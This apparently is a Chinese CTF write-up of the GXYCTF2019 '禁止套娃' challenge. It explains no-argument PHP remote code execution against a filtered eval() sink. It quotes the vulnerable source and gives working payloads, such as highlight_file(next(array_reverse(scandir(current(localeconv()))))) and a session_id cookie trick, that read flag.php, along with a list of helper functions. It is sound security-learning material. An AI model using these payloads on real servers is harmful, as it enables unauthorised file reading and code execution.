无参rce


无参rce

[GXYCTF2019]禁止套娃

这题发现了.git泄露但是很奇怪,没下载到他的index.php

image-20220410150424569

无奈只能看看师傅们的wp了

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

首先代码审计一波,发现他接收exp的参数,过滤了data:、fileter:、php:、phar:、等伪协议,故不能通过伪协议做题目了

在第三个if中

 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    
    就是将中间的字符,符合正则的全部替换为NULL之后如果强等于’;‘就进行下一步。在这里也就是说最后面要以’;‘结尾
    关于这个正则表达式'/[a-z,_]+\((?R)?\)/'
        
(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子

第四个if中

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    
    在这里过滤了一些字符,那我们就需要不利于这些字符来执行命令到达查看文件的效果

法一 通过函数读取文件

payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

函数解析
1.localeconv() 函数返回一包含本地数字及货币格式信息的数组。他的最大用处就是返回’.‘,也就是当前的位置
2.current() 函数返回数组中的当前元素的值。
3.scandir列出指定目录中的文件和目录,当参数为.时,即列出当前目录的文件。通过和上面的函数搭配就可以查看当前目录下的文件了,但是要用打印函数打印出来
4.array_reverse()函数以相反的元素顺序返回数组。
5.next()函数讲内部指针指向数组中的下一个元素,并输出
6.highlight_file将代码高亮显示出来

法二 session_id

session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:

image-20220410152729571

无参rce常用函数

getcwd() 函数返回当前工作目录。
print_r(getcwd());

scandir() 函数返回指定目录中的文件和目录的数组。

dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile() 输出一个文件

current() 返回数组中的当前单元, 默认取第一个值

pos() current() 的别名

next() 函数将内部指针指向数组中的下一个元素,并输出。

end() 将内部指针指向数组中的最后一个元素,并输出。

array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

array_flip()  函数用于反转/交换数组中所有的键名以及它们关联的键值。

array_slice() 函数在数组中根据条件取出一段值,并返回

chr() 函数从指定的 ASCII 值返回字符。

hex2bin — 转换十六进制字符串为二进制字符串

getenv() 获取一个环境变量的值(7.1之后可以不给予参数)

常用型:
highlight_file(next(array_reverse(scandir(current(localeconv())))));

文章作者: lengf233
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lengf233 !
  目录